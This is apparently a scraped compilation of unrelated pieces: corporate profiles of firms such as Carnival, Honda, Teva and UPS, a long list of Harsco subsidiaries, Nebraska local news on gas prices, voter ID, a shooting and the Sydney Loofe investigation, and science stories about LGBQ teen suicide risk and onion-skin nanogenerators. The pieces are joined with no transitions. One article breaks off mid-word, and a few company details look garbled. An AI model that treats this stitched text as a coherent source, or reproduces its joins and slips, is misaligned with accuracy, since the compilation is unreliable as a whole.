Carnival Corporation & plc is a leisure travel company operating a fleet of cruise ships, hotels, and resorts with international destinations. Brands under the Carnival Corporation umbrella include Carnival Cruise Line, Princess Cruises, Holland America, P&O Cruises, Seaborn, Costa Cruises, AIDA Cruises, and Cunard. The companys goal is to provide extraordinary vacations at an exceptional value. As of 2022, the company laid claim to nearly half of the global cruising market share with several new ships in the works.

Carnival Cruise Line was launched in 1972 with one second-hand ship and a tank of fuel. The first port of call was San Juan, Puerto Rico, but soon more were added. The original growth strategy included a festive atmosphere, features and amenities unlike any other cruise line at the time. Slow to start, the growth strategy shifted into overdrive in 1980 when Carnival shocked the world by building its own ship. The Tropicale became an iconic name in the cruising industry and sparked a wave of shipbuilding that is still underway.

The companys growth hit a new stride in 1987 following the IPO which floated 20% of the company on the open market. The proceeds from the IPO allowed the company to embark on a voyage of acquisition and now Carnival is the worlds largest travel and leisure business.

Today, Carnival Corporations 87 ships visit approximately 700 ports worldwide and employ more than 120,000 people while serving more than 13 million guests annually for a total of 85 million passenger cruise days per year. Net revenue, prior to the COVID-19 pandemic, peaked out at over $6.5 billion annually.

Carnival Cruise Line is the companys largest brand serving guests on all coasts of North America. The brand's 22 ships make 1500 voyages per year with trips ranging from 2 days to 3 weeks and ports of call from the Caribbean to Alaska. The company's largest ship is named Panorama and can accommodate more than 4,000 passengers.

Carnivals 9 brands provide access to a wide range of cruising styles and destinations including the Caribbean, Alaska, Australia, New Zealand, Hawaii, England, and ports in Asia. The company is headquartered in Miami, Florida and has offices around the world. The company also has the distinction of being the only company included in both the S&P 500 and FTSE 250 indices.
Honda Motor Co., Ltd. develops, manufactures, and distributes motorcycles, automobiles, power products, and other products in Japan, North America, Europe, Asia, and internationally. It operates through four segments: Motorcycle Business, Automobile Business, Financial Services Business, and Life Creation and Other Businesses. The Motorcycle Business segment produces motorcycles, including sports, business, and commuter models; and various off-road vehicles, such as all-terrain vehicles and side-by-sides. The Automobile Business segment offers passenger cars, light trucks, and mini vehicles. The Financial Services Business segment provides various financial services, including retail lending and leasing services to customers, as well as wholesale financing services to dealers. The Life Creation and Other Businesses segment manufactures and sells power products, such as general purpose engines, generators, water pumps, lawn mowers, riding mowers, robotic mowers, brush cutters, tillers, snow blowers, outboard marine engines, walking assist devices, and portable battery inverter power sources. This segment also offers HondaJet aircraft. The company also sells spare parts; and provides after-sale services through retail dealers directly, as well as through independent distributors and licensees. Honda Motor Co., Ltd. was founded in 1946 and is headquartered in Tokyo, Japan.
The following companies are subsidiares of Harsco: 21st Century Environmental Management of NV LLC, 21st Century Environmental Management of RI LLC, AERC Acquisition Corporation, AES Asset Acquisition Corporation, Accelerated Remediation Kinetics LLC, Advanced Remediation & Disposal Technologies of Delaware LLC, Allied Environmental Group LLC, Allworth LLC, Altek, Altek Europe Holdings Ltd., Altek Europe Limited, Altek LLC, Altek Melting Solutions Limited, AluServ Middle East W.L.L., Alusalt Limited, Assessment & Remedial Design Technologies Inc, Ballagio S.a.r.l., Burlington Environmental LLC, CEHI Acquisition LLC, CEI Holding LLC, Calrissian Holdings LLC, Carteret Asphalt Corporation, Chemical Pollution Control of Florida LLC, Chemical Pollution Control of New York LLC, Chemical Reclamation Services LLC, Clean Earth Dredging Technologies LLC, Clean Earth Environmental Services Inc., Clean Earth Environmental Services Inc., Clean Earth Environmental Solutions Inc., Clean Earth Holdings LLC, Clean Earth Inc., Clean Earth LLC, Clean Earth Mobile Services LLC, Clean Earth Specialty Waste Solutions Inc., Clean Earth of Carteret LLC, Clean Earth of Georgia LLC, Clean Earth of Greater Washington LLC, Clean Earth of Maryland LLC, Clean Earth of Michigan LLC, Clean Earth of New Castle LLC, Clean Earth of North Jersey Inc., Clean Earth of Philadelphia LLC, Clean Earth of Puerto Rico LLC, Clean Earth of Southeast Pennsylvania LLC, Clean Earth of Southern Florida LLC, Clean Earth of West Virginia LLC, Clean Earth of Williamsport LLC, Clean Rock Properties Ltd, Czech Slag- Nova Hut s.r.o., ESOL TOPCO LLC, Environmental Soil Management Inc, Environmental Soil Management of New York LLC, Environmental Solutions (ESOL) Business, Excell Africa Holdings Ltd., Excell Americas Holdings Ltd S.a.r.L., Faber Prest Limited, Gardner Road Oil LLC, GasServ (Netherlands) VII B.V., General Environmental Management of Rancho Cordova LLC, HLWKH 517 Limited, Harsco (Australia) Pty. Limited, Harsco (Beijing) Fertiliser Co. Ltd, Harsco (Gibraltar) Holding Limited, Harsco (Mexico) Holdings B.V., Harsco (Peru) Holdings B.V., Harsco (Tangshan) Metallurgical Materials Technology Co. Ltd, Harsco (Tangshan) Metallurgical Materials Technology Co. Ltd. - GuYe Branch, Harsco (Tangshan) Metallurgical Materials Technology Co. Ltd. - Leting Branch, Harsco (Tangshan) Renewable Resources Development Co. Ltd, Harsco (U.K.) Limited, Harsco (UK) Group Ltd, Harsco (York Place) Limited, Harsco APAC Rail Machinery (Beijing) Co. Ltd., Harsco Americas Investments S.a.r.l., Harsco Belgium SRL, Harsco Brazil Investments SRL, Harsco Canada Corporation Societe Harsco Canada, Harsco Canada General Partner Limited, Harsco Canada Limited Partnership, Harsco Chile Investments SRL, Harsco China Holding Company Limited, Harsco Defense Holding LLC, Harsco Environmental S.R.L., Harsco Europa B.V., Harsco Fairways Partnership, Harsco Finance B.V., Harsco Financial Holdings Inc., Harsco France S.A.S., Harsco Holdings Inc., Harsco India Metals Private Limited, Harsco India Private Ltd., Harsco India Services Private Ltd., Harsco Industrial Grating China Holding Co. Ltd., Harsco Infrastructure B.V., Harsco Infrastructure CZ s.r.o, Harsco Infrastructure Construction Services B.V., Harsco Infrastructure Group Ltd., Harsco Infrastructure Holdings Inc., Harsco Infrastructure Hong Kong Ltd, Harsco Infrastructure Industrial Services B.V., Harsco Infrastructure Services Ltd., Harsco Infrastructure South Africa (Pty.) Ltd., Harsco International Finance S.a.r.l., Harsco Investment Ltd., Harsco Investments Europe B.V., Harsco Leatherhead Limited, Harsco Luxembourg S.a.r.l, Harsco Metals (Ningbo) Pty. Ltd., Harsco Metals (Thailand) Company Ltd., Harsco Metals 373 Ltd, Harsco Metals 385 Ltd, Harsco Metals Argentina S.A., Harsco Metals Australia Holding Investment Co. Pty. Ltd., Harsco Metals Australia Pty. Ltd., Harsco Metals Belgium S.A., Harsco Metals CTS Prestacao de Servicos Tecnicos e Aluguer de Equipamentos LDA Unipessoal, Harsco Metals CZ s.r.o, Harsco Metals Chile S.A., Harsco Metals D.O.O. Smederevo, Harsco Metals Egypt L.L.C., Harsco Metals Emirates Partnership, Harsco Metals Germany GmbH, Harsco Metals Gesmafesa S.A., Harsco Metals Group Limited, Harsco Metals Guatemala S.A., Harsco Metals Holding LLC, Harsco Metals Holdings Limited, Harsco Metals Holland B.V., Harsco Metals Ilanga Pty. Ltd., Harsco Metals Intermetal LLC, Harsco Metals Investment LLC, Harsco Metals Limitada, Harsco Metals Luxembourg S.A., Harsco Metals Luxequip S.A., Harsco Metals Lycrete S.A., Harsco Metals Middle East FZE, Harsco Metals Norway A.S., Harsco Metals Oostelijk Staal International B.V., Harsco Metals Operations LLC, Harsco Metals Peru S.A., Harsco Metals Polska SP Z.O.O., Harsco Metals RSA Africa (Pty.) Ltd., Harsco Metals Reclamet S.A., Harsco Metals SRH Mill Services (Pty.) Ltd., Harsco Metals SRI LLC, Harsco Metals Saudi Arabia Ltd., Harsco Metals Slovensko s.r.o., Harsco Metals South Africa (Pty.) Ltd., Harsco Metals SteelServ (Pty.) Ltd., Harsco Metals Sweden A.B., Harsco Metals Transport B.V., Harsco Metals Turkey Celik Limited Sirkety, Harsco Metals VB LLC, Harsco Metals Zhejiang Co. Ltd., Harsco Metals and Minerals France S.A.S., Harsco Metals de Mexico S.A. de C.V., Harsco Metro Rail LLC, Harsco Mexico Holdings S.A. de C.V., Harsco Minerais Limitada, Harsco Minerali d.o.o., Harsco Minerals Arabia LLC (FZC), Harsco Minerals Deutschland GmbH, Harsco Minerals Europe B.V., Harsco Minerals Technologies LLC, Harsco Minnesota Finance Inc., Harsco Minnesota LLC, Harsco Mole Valley Limited, Harsco Nederland Slag B.V., Harsco Nova Scotia Holding Corporation, Harsco Rail Emirates Maatschap/Societe de Droit Commun, Harsco Rail Europe GmbH, Harsco Rail LLC, Harsco Rail Limited, Harsco Rail Ltda, Harsco Rail Malaysia Sdn Bhd, Harsco Rail Pty. Ltd., Harsco Rail Switzerland GMBH, Harsco Steel Mill Trading Arabia LLC, Harsco Sun Demiryolu Ekipmanlari Uretim Ve Ticaret Limited Sirketi, Harsco Switzerland Holding GmbH, Harsco Technologies LLC, Harsco Technology China Co. Ltd., Harsco Track Machines and Services Private Limited, Heckett Bahna Co. For Industrial Operations S.A.E., Heckett Comercio de Rejeitos Industriais Importacao e Exportacao Ltda, Heckett MultiServ (FS) Pty Ltd, Heckett MultiServ Bahna S.A.E., Heckett MultiServ China B.V., Heckett MultiServ Far East B.V., Heckett Multiserv MV & MS CA, Hunnebeck Group GmbH, Iductelec Limited, Ilserv S.R.L., Luntz Acquisition (Delaware) LLC, MKC Acquisition Corporation, Mastclimbers Ltd, Metal Reclamation SPV (Pty.) Ltd., Minerval Metallurgic Additives B.V., MultiServ (Sweden) AB, MultiServ Finance B.V., MultiServ International B.V., MultiServ Limited, MultiServ Logistics Limited, MultiServ Oy, MultiServ Technologies (South Africa) Pty Ltd, Nortal Limited, Northland Environmental LLC, Nortru LLC, PSC Environmental Services LLC, PSC Recovery Systems LLC, Phillip Reclamation Services Houston LLC, Protran Technology LLC, Real Property Acquisition LLC, Republic Environmental Recycling (New Jersey) LLC, Republic Environmental Systems (PA) LLC, Republic Environmental Systems (Transportation Group) LLC, Rho-Chem LLC, SGB Holdings Limited, SGB Investments Ltd., SGB Scafform Limited, Shanxi TISCO-Harsco Technology Co. Ltd., Short Brothers (Plant) Ltd., Slag Processing Company Egypt (SLAR) S.A.E., Slag Reductie (Pacific) B.V., Slag Reductie Nederland B.V., Solvent Recovery LLC, Tosyali Harsco Geri Kazanim Teknolojileri Anonim Sirketi, and United Retek of Connecticut LLC.

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ION Geophysical Corporation provides data-driven decision-making to offshore energy, and ports, and defense industries worldwide. The company operates through two segments, E&P Technology & Services and Operations Optimization. The E&P Technology & Services segment creates digital data assets and delivers services to help E&P companies improve decision-making and reduce risk. This segment includes two synergistic groups, imaging and reservoir services, and ventures. The company's Imaging and Reservoir Services group provides data processing, imaging, and reservoir services that improve image quality and subsurface insights, helping E&P companies reduce exploration and production risk, evaluate and develop reservoirs, and increase production. Its Imaging and Reservoir Services group develops and applies proprietary processing algorithms through its imaging engine to data owned or licensed by its customers to translate raw data into subsurface images. The Operations Optimization segment develops mission-critical subscription offerings and provides engineering services that enable operational control and optimization offshore. This segment includes the company's Optimization Software & Services and Devices offerings. The company's Optimization Software & Services group provides survey design, command, and control software systems and related services for marine towed streamer and seabed operations. Its Devices offerings group develops intelligent equipment controlled by its software to optimize operations. The company sells its services and products through a direct sales force consisting of employees and international third-party sales representatives. ION Geophysical Corporation was formerly known as Input/Output, Inc. and changed its name to ION Geophysical Corporation in 2007. The company was founded in 1968 and is headquartered in Houston, Texas. On April 12, 2022, ION Geophysical Corporation along with its affiliates, filed a voluntary petition for reorganization under Chapter 11 in the U.S. Bankruptcy Court for the Southern District of Texas.
Teva Pharmaceutical Industries Limited, a pharmaceutical company, develops, manufactures, markets, and distributes generic medicines, specialty medicines, and biopharmaceutical products in North America, Europe, and internationally. The company offers sterile products, hormones, high-potency drugs, and cytotoxic substances in various dosage forms, including tablets, capsules, injectables, inhalants, liquids, transdermal patches, ointments, and creams. It also develops, manufactures, and sells active pharmaceutical ingredients. In addition, it focuses on the central nervous system, pain, respiratory, and oncology areas. Its products in the central nervous system include Copaxone for the treatment of relapsing forms of multiple sclerosis; AJOVY for the preventive treatment of migraine; and AUSTEDO for the treatment of tardive dyskinesia and chorea associated with Huntington disease. The company's products in the respiratory market comprise ProAir, QVAR, ProAir Digihaler, AirDuo Digihaler, and ArmonAir Digihaler, BRALTUS, CINQAIR/CINQAERO, DuoResp Spiromax, and AirDuo RespiClick/ArmonAir RespiClick for the treatment of asthma and chronic obstructive pulmonary disease. Its products in the oncology market include Bendeka, Treanda, Granix, Trisenox, Lonquex, and Tevagrastim/Ratiograstim. Teva Pharmaceutical Industries Limited has a collaboration MedinCell for the development and commercialization of multiple long-acting injectable products, a risperidone suspension for the treatment of patients with schizophrenia. The company was founded in 1901 and is headquartered in Tel Aviv-Yafo, Israel.
The good news is gas prices are on the decline. The bad news is they still will be higher this Christmas than at any point in the past four years.

That's the conclusion from GasBuddy.com, which predicts national gas prices will average $2.39 a gallon this Christmas, the highest price since 2013's eye-popping $3.26 a gallon, which was the highest Dec. 25 price in history. The price is 11 cents higher than last year and 39 cents higher than in 2015.

Its hard to be completely happy with gas prices dropping slightly in recent weeks when were going to see the most expensive Christmas at the pump in years, but what were seeing now really pales in comparison to the holidays when we pulled up to a pump that was over $3 per gallon, Patrick DeHaan, head of petroleum analysis at GasBuddy, said in a news release.

If you're one of the approximately 97 million people expected to hit the road for the holidays, you're likely to see prices that are considerably lower than they were a month ago.

The average price of gas in Lincoln as of Tuesday morning, according to AAA, was $2.30 a gallon. That's down 10 cents in the past week and 18 cents in the past month. However, it's 4 cents higher than at this point a year ago.

More than a dozen local stations have prices below $2.20 a gallon, with the lowest price $2.09, according to GasBuddy.

The local average is considerably lower than both the state and local averages.

Nebraska's average price as of Tuesday morning was $2.38 a gallon, also down 18 cents from a month ago, but 17 cents higher than a year ago.

Nationally, the average price was $2.42, down 12 cents from a week ago and up 18 cents from a year ago.
New York Community Bancorp, Inc. is the bank holding company for New York Community Bank. New York Community Bank is the nations 47th-largest financial institution and its largest thrift. As a thrift, the bank specializes in real estate and consumer accounts specifically real estate loans and savings accounts and has limited exposure to other forms of business banking. Among the benefits to consumers are interest-bearing checking and saving accounts that come with higher-than-average interest rates.

New York Community Bank was founded in 1859 to serve Queens County, New York. It operated under that name, growing all the while, until 2000 when it changed its name to better reflect the business. The company IPOd in 1993 and has made multiple acquisitions in the time since. As of 6/30/2022, the bank had $63.1 billion in assets and $41.2 billion in deposits.

New York Community Bank operates in greater New York City, New Jersey, Ohio, Florida, and Arizona. The company provides deposit products ranging from interest-bearing checking and money market accounts to savings accounts, IRAs, and CDs. Brands under the companys umbrella include AmTrust in Florida and Arizona, Ohio Savings Bank, Garden State Savings Bank, and Atlantic Bank.

The bank offers a wide range of real-estate-related loans including but not limited to multi-family loans, commercial real estate loans, construction loans, and consumer loans and mortgages. Investment products include annuities, mutual funds, and life insurance. Customers include individuals, small businesses, and organizations and are served through a network of more than 230 branches, and 300 ATMs, online, mobile, and by phone. Many of the locations are open 24 hours and 6 days a week although those hours are not available at all branches. Clients can access their accounts digitally 24/7.

New York Community Bancorp and its underlying business carry investment-grade credit ratings from all the major rating agencies. The credit outlook in the 4th quarter of 2022 was stable as it had been for some time. In New York, it is a leader in the multi-family market specializing in lower-cost housing in rent-controlled areas. As of June 30, 2022, the multi-family loan portfolio accounted for more than 75% of all investments. The company has a stock purchase and dividend reinvestment plan that help to sustain a high level of ownership.






Parker-Hannifin Corporation manufactures and sells motion and control technologies and systems for various mobile, industrial, and aerospace markets worldwide. The company operates through two segments, Diversified Industrial and Aerospace Systems. The Diversified Industrial segment offers sealing, shielding, thermal products and systems, adhesives, coatings, and noise vibration and harshness solutions; filters, systems, and diagnostics solutions to monitor and remove contaminants from fuel, air, oil, water, and other liquids and gases; connectors, which control, transmit, and contain fluid; control solutions for extreme corrosion resistance, temperatures, pressures, and precise flow; and hydraulic, pneumatic, and electromechanical components and systems for builders and users of mobile and industrial machinery and equipment. This segment sells its products to original equipment manufacturers (OEMs) and distributors who serve the replacement markets in manufacturing, packaging, processing, transportation, construction, refrigeration and air conditioning, agricultural, and military machinery and equipment industries. The Aerospace Systems segment offers products for use in commercial and military airframe and engine programs, such as control actuation systems and components, engine build-up ducting, engine exhaust nozzles and assemblies, engine systems and components, fluid conveyance systems and components, fuel systems and components, fuel tank inerting systems, hydraulic systems and components, lubrication components, pilot controls, pneumatic control components, thermal management products, and wheels and brakes, as well as fluid metering, delivery, and atomization devices. This segment markets its products directly to OEMs and end users. The company markets its products through direct-sales employees, independent distributors, and sales representatives. The company was founded in 1917 and is headquartered in Cleveland, Ohio.
Oshkosh Corporation designs, manufactures, and markets specialty vehicles and vehicle bodies worldwide. The company's Access Equipment segment provides aerial work platforms and telehandlers for use in various construction, industrial, institutional, and general maintenance applications. This segment also offers rental fleet loans and leases, and floor plan and retail financing through third-party funding arrangements; towing and recovery equipment; carriers and wreckers; equipment installation services; and chassis and service parts sales. Its Defense segment provides heavy, medium, and light tactical wheeled vehicles and related services for the department of defense. The company's Fire & Emergency segment offers custom and commercial firefighting vehicles and equipment; and commercial fire apparatus and emergency vehicles, such as pumpers, aerial platform, ladder and tiller trucks, tankers, rescue vehicles, wild land rough terrain response vehicles, mobile command and control centers, bomb squad vehicles, hazardous materials control vehicles, and other emergency response vehicles. This segment also provides aircraft rescue and firefighting, snow removal, and broadcast vehicles, as well as command trucks, and military simulator shelters and trailers. Its Commercial segment offers front-and rear-discharge concrete mixers for the concrete ready-mix industry; refuse collection vehicles and related components to commercial and municipal waste haulers; and field service vehicles and truck-mounted cranes for the construction, equipment dealer, building supply, utility, tire service, railroad, and mining industries. Oshkosh Corporation provides its products through direct sales representatives, dealers, and distributors. The company was formerly known as Oshkosh Truck Corporation and changed its name to Oshkosh Corporation in February 2008. Oshkosh Corporation was founded in 1917 and is headquartered in Oshkosh, Wisconsin.
Sen. John Murante of Gretna said Tuesday he will push hard for approval of voter ID and winner-take-all presidential electoral vote proposals during what could be his final legislative session in 2018.

Murante is a Republican candidate for state treasurer next year and would leave the Legislature halfway through his second term if he is elected.

At a news conference called to respond to online criticism aimed at him by an online organization called "Let America Vote," Murante said his proposed voter ID constitutional amendment (LR1CA) would allow Nebraska voters themselves to decide whether voters should be required to show a form of ID before casting a vote.

The proposal was trapped on the floor of the Legislature by a filibuster this year.

"I will continue to fight to make our elections more secure," Murante said.

Murante said he believes part of the ID process, which would be determined by a future Legislature if voters adopted the constitutional amendment, should be photo identification.

The online organization that has named him as one of 10 national politicians chosen for its "Voter Suppression Hall of Shame" is "an out-of-state leftist group, a radical left-wing organization," Murante said.

Murante said he strongly supports election integrity efforts mounted by the Trump administration.

Most Nebraskans believe voter identification makes common sense, he said, and "I will continue to fight to make our elections more secure."

Properly crafted voter ID legislation would not suppress the vote as its opponents argue, Murante said.

With a growing number of voters questioning the security and integrity of the current election process, he said, it is important to assure voters that elections are valid.

Nebraska experienced two convictions for voter fraud during the past year.

The winner-take-all proposal (LB25) would return Nebraska to a system that would award all five of Nebraska's presidential electoral votes to the statewide winner.

Under current law, Nebraska awards one electoral vote to the winner in each of its three congressional districts and two electoral votes to the statewide victor.

The winner-take-all system is strongly supported by the Republican Party.

The Democratic Party supports the current system, which resulted in one electoral vote for Democratic presidential nominee Barack Obama in 2008, when he ran ahead of Republican nominee John McCain in metropolitan Omaha's 2nd District.

That was the first electoral vote won in Nebraska by a Democratic presidential nominee since Lyndon Johnson won the state in 1964.

The winner-take-all proposal is awaiting consideration on the floor of the Legislature.
United Parcel Service, Inc. provides letter and package delivery, transportation, logistics, and related services. It operates through two segments, U.S. Domestic Package and International Package. The U.S. Domestic Package segment offers time-definite delivery of letters, documents, small packages, and palletized freight through air and ground services in the United States. The International Package segment provides guaranteed day and time-definite international shipping services in Europe, the Asia Pacific, Canada and Latin America, the Indian sub-continent, the Middle East, and Africa. This segment offers guaranteed time-definite express options. The company also provides international air and ocean freight forwarding, customs brokerage, distribution and post-sales, and mail and consulting services in approximately 200 countries and territories. In addition, it offers truckload brokerage services; supply chain solutions to the healthcare and life sciences industry; shipping, visibility, and billing technologies; and financial and insurance services. The company operates a fleet of approximately 121,000 package cars, vans, tractors, and motorcycles; and owns 59,000 containers that are used to transport cargo in its aircraft. United Parcel Service, Inc. was founded in 1907 and is headquartered in Atlanta, Georgia.
Vipshop Holdings Limited operates online platforms for various brands in the People's Republic of China. It operates in Vip.com, Shan Shan Outlets, and Others segments. The company offers women's apparel, such as casual wear, jeans, dresses, outerwear, lingerie, pajamas, and maternity clothes; men's apparel comprising casual and smart-casual T-shirts, polo shirts, jackets, pants, and underwear; and skin care and cosmetic products, including cleansers, lotions, face and body creams, face masks, sunscreen, foundations, lipsticks, eye shadows, and other cosmetics-related items. It also provides shoes and bags, which comprises casual and formal shoes, purses, satchels, luggage, duffel bags, and wallets; handbags; apparel, gears and accessories, furnishings and decor, toys, and games for boys, girls, infants, and toddlers; sportswear, sports gear, and footwear for various sporting activities; home furnishings, such as bed and bath products, home decor, kitchen and tabletop items, and home appliances; and consumer electronic products. In addition, the company offers food and snacks, beverages, fresh produce, and pet goods; beauty products; and internet finance services, including consumer and supplier financing, and microcredit. Vipshop Holdings Limited provides its branded products through its vip.com and vipshop.com online platforms, as well as through its internet website and cellular phone application. Further, it offers warehousing, logistics, product procurement, research and development, technology development, and consulting services; software development and information technology support solutions; and supply chain services. Vipshop Holdings Limited was founded in 2008 and is headquartered in Guangzhou, the People's Republic of China.
A bullet penetrated a home and landed on the living room couch after a drive-by shooting in a central Lincoln neighborhood early Saturday, police said.

The shooter targeted a car owned by the residents of 3910 Washington St. between 2:30 a.m. and 3:30 a.m., Officer Angela Sands said.

The bullet grazed the car, hit the outside of the home and ended up in the living room, Sands said.

No one was injured.

Investigators have not made any arrests in the case.

The residents told police they are involved in an ongoing business dispute, she said.
Voya Financial, Inc. operates as a retirement, investment, and employee benefits company in the United States. The company's Wealth Solutions segment offers tax-deferred employer-sponsored retirement savings plans and administrative services; and individual retirement accounts, and other retail financial products and services, as well as financial planning and advisory services. This segment serves corporate, education, healthcare, and other non-profit and government entities, as well as institutional and individual customers. Its Investment Management segment provides fixed income, equity, multi-asset, and alternative products and solutions to individual investors and institutional clients through its direct sales force, consultant channel, banks, broker-dealers, and independent financial advisers. The company's Health Solutions segment offers stop loss, group life, voluntary employee-paid, and disability products through consultants, brokers, third-party administrators, enrollment firms, and technology partners to mid-sized and large businesses. The company was formerly known as ING U.S., Inc. and changed its name to Voya Financial, Inc. in April 2014. Voya Financial, Inc. was incorporated in 1999 and is based in New York, New York.
OMAHA  Federal authorities say two motel managers enslaved an Indian immigrant for more than a year, forcing him to work without pay and abus
Aubrey Trail came to the defense of the woman he called his girlfriend Monday as a cloud of suspicion hangs over them in the disappearance and death of Lincoln woman Sydney Loofe.

In an exclusive phone interview with the Journal Star, Trail said he and Bailey Boswell are "obviously suspects" in the FBI's probe into what happened to Loofe, who was found dead Dec. 4 in rural Clay County. The FBI has called them persons of interest in the case.

Loofe was last seen in Wilber on Nov. 15, where she went on a date arranged on the app Tinder. Boswell and Trail were the last two believed to have seen her alive, according to investigators.

In two phone calls lasting 26 minutes from the Saline County jail, Trail said Boswell, who has been accused of felonies but never convicted, had nothing to do with Loofe's death.

"I am not an innocent party in many things, but dont try to hang other people because of things I have done, said Trail, who has been convicted of 11 felonies mostly related to theft and fraud.

Asked if he was involved in Loofe's death, Trail said, "As far as myself, I wont make a statement."

Trail said he would not answer any potentially incriminating questions on the recorded jail call. His comments Monday, while limited, provide the most recent insights into an investigation that the FBI has kept largely quiet since Loofe was found dead.

Lacking more concrete information, rumors and theories have swirled since law enforcement officials gave their last major update in the case  a Dec. 5 news conference confirming Loofe's body had been found and foul play was suspected.

Many speculated the case could be tied to other disappearances from the Lincoln area or across the country.

The investigation into Loofes disappearance and death does not appear to be related to any others, FBI spokesman Huston Pullen said Monday: There is nothing to suggest otherwise."

At first, the case seemed like many other missing persons cases in Lincoln. Loofe's family spread word about the search for the 24-year-old Menards cashier, and almost two weeks after Loofe's disappearance, police asked for the public's help finding Boswell and Trail.

Trail, 51, and Boswell, 23, met in the fall of 2016 in St. Joseph, Missouri. Trail declined to give more details, but the man originally from Tennessee described the Iowa native as his girlfriend.

They moved to Wilber several months ago and were involved in antique dealings, they have said. Trail said he owns the company A & B Antiques LLC.

The pair learned they were being sought in the investigation via news reports online, Trail said. They posted their own videos on social media in response, denying their involvement in the case.

Boswell, in a video she posted online, said she went on a date with Loofe, drove her to the apartment where she and Trail lived in Wilber, smoked marijuana, then took Loofe to a friends house.

Investigators had not been able to verify that Loofe was left with anyone, and unspecified digital records led them to Clay County, more than 100 miles from her home in Havelock, Lincoln Police Chief Jeff Bliemeister said.

On Monday, Trail said cellphone records wouldn't necessarily implicate Boswell, as the pair had more than 20 phones in their Wilber apartment and many people had access to them.

"I like phones," Trail said.

Investigators were quickly looking for cellphones because Loofe had talked about going on a date with someone named Audrey, whom she met online, friends said.

Police now believe that was Boswell.

Boswell and Trail were arrested by federal investigators outside their hotel near Branson, Missouri, on Nov. 30, after Trail had posted a video on social media saying the pair planned to turn themselves in.

He said Monday they were waiting until check-out time, and that federal agents surrounded Boswell when she left the room to get coffee.

They were taken to the Saline County jail in Wilber, where they remain on pre-trial detention after a federal grand jury indicted them for transporting stolen property across state lines. The charge is unrelated to Loofe's death.

They have pleaded not guilty in the case.

Both Trail and his attorney have said they believe that charge is being used to hold them as the FBI investigation continues.

"We are still being called persons of interest, but, as no other names have been mentioned, we are obviously suspects," Trail said.

Trail has spoken with investigators three times, and has offered to take a polygraph and asked that his exchanges be recorded, he said.

While perhaps worded differently each time, Trail insists his account to law enforcement has been consistent and straightforward.

"Weve been held for weeks here," Trail said. "Everyone knows basically what its on.
Adverse childhood events included such things as being physically forced to have sex with someone, or being beaten, kicked or physically hurt by an adult. (Photo: AFP)

Both LGBQ sexual identity and traumatic experiences in childhood are linked to a heightened risk of suicidal thoughts and behaviours, US researchers say.

Teens who identify as lesbian, gay, bisexual or are questioning their sexual identity are also more likely than their heterosexual peers to have had adverse childhood experiences (ACEs) in childhood, the study team reports in Journal of Adolescent Health.

Suicide is the second leading cause of death among adolescents and young adults and there is evidence that suicide rates are increasing in this age group, they write.

It is imperative that we identify adolescent populations at greatest risk to guide our prevention efforts, lead author Kristen Clements-Nolle, of the School of Community Health Sciences of the University of Nevada, Reno, said.

Furthermore, cumulative exposure to ACEs greatly increased suicide risk behaviours among sexual minority adolescents. For example, compared with heterosexual students with no exposure to ACEs, LGB/not sure students with two or more ACEs had approximately 13 times higher odds of attempting suicide in the past year, Clements-Nolle said.

To examine the relationships among teen sexual identity, childhood trauma and suicide risk, Clements-Nolle and colleagues enrolled approximately 5,000 students from 97 high schools in Nevada to fill out questionnaires and answer questions about their sexual identity and exposure to adverse childhood experiences.

Adverse childhood events included such things as being physically forced to have sex with someone, or being beaten, kicked or physically hurt by an adult. In addition, students were asked about their exposure to domestic violence, mental illness and substance abuse by family members.

Participants were also asked if they had ever seriously considered suicide during the past year and how many times had they attempted suicide during that time.

About 10 percent of students self-identified as lesbian, gay or bisexual (LGB), and nearly 5 percent were not sure of their sexual identity. Just over 85 percent of students identified as heterosexual.

The LGB and questioning students were more likely to be exposed to adverse childhood events. More than half of LGB and 40 percent of questioning students reported at least two ACEs, compared to about one-quarter of heterosexual students reporting the same exposure.

For all students, the greater the number of adverse experiences they reported, the greater was their risk of having had suicidal thoughts during the past year.

Sexual identity was also linked to risk of suicidal thinking. Compared with heterosexual students with no ACEs, LGB and questioning students overall were three times more likely to report suicidal thoughts.

LGB and questioning students who reported one ACE were almost 7 times more likely to think about suicide compared to heterosexual students with one ACE. With three or more ACEs, LGB and questioning students were 14 times more likely to think about suicide compared to heterosexual counterparts.

Compared to heterosexual students with no ACEs, LGB and unsure students were almost 4 times more likely to have attempted suicide.

Studies have shown that family acceptance and parental caring may reduce suicidal behaviours among LGB adolescents and young adults, Clements-Nolle said.

Future research should evaluate whether interventions that support families with sexual minority youth and promote acceptance of adolescent sexual identity can also impact childhood victimization and household dysfunction, said Clements-Nolle.

While the assessment of intervention effectiveness was beyond the scope of the current study, the higher prevalence of ACEs among adolescents who are LGB or are not sure of their sexual identity and the demonstrated influence on suicide risk behaviours highlight the need to ensure that suicide prevention efforts for sexual minority youth are trauma-informed, Clements-Nolle said.
The non-toxic, biodegradable and biocompatible device takes advantage of the suitable piezoelectric properties of the onion skin. (Photo: Pixabay)

Scientists at IIT Kharagpur have used waste onion skins to develop an inexpensive device that can generate green electricity from body movements, and may power pacemakers, smart pills and wearable electronics.

The non-toxic, biodegradable and biocompatible device takes advantage of the suitable piezoelectric properties of the onion skin, researchers said.

Piezoelectric materials have the ability to convert energy from everyday mechanical motions into electricity.

"This homespun inexpensive innovative finding can be a breakthrough scientific research in new direction; even common people can generate energy in any circumstances using this simple novel cost-effective idea," Bhanu Bhusan Khatua, professor at Indian Institute of Technology (IIT) Kharagpur in West Bengal, told PTI.

Increasing population, industrialisation, and ubiquitous use of electronics and vehicles are playing a huge role in destroying the environment day by day.

The rising burden on fossil fuels and depletion of natural resources has made the development of sustainable and alternative green energy technologies a pressing requirement in current energy deficiency world, researchers said.

Piezoelectric materials can be used to convert simple body movements into green energy without adding any pollution to our environments.

However, piezoelectric nanogenerators are difficult to synthesise and are often very expensive. They are also usually highly toxic or pose environmental hazards, which means their use in real life application remains limited.

These drawbacks prompted researchers at IIT Kharagpur and Pohang University of Science and Technology in South Korea to develop a non-toxic, biodegradable and biocompatible piezoelectric nanogenerator (BPNG).

Among various cellulose containing bio-materials, onion skin is the most abundant bio-waste, said Khatua.

"This motivated us to study the piezoelectric co- efficient of the onion skin and its suitability as a bio- piezoelectric material," Khatua said.

"The uniqueness of our work lies in the novelty of utilising naturally abundant biocompatible and biodegradable onion skin directly as efficient piezoelectric material, which is thrown as tonne-scale garbage in every day worldwide," he said.

The device could be used in various biomedical applications such as pacemakers powered by heart beats or edible devices that can track health from inside the body.

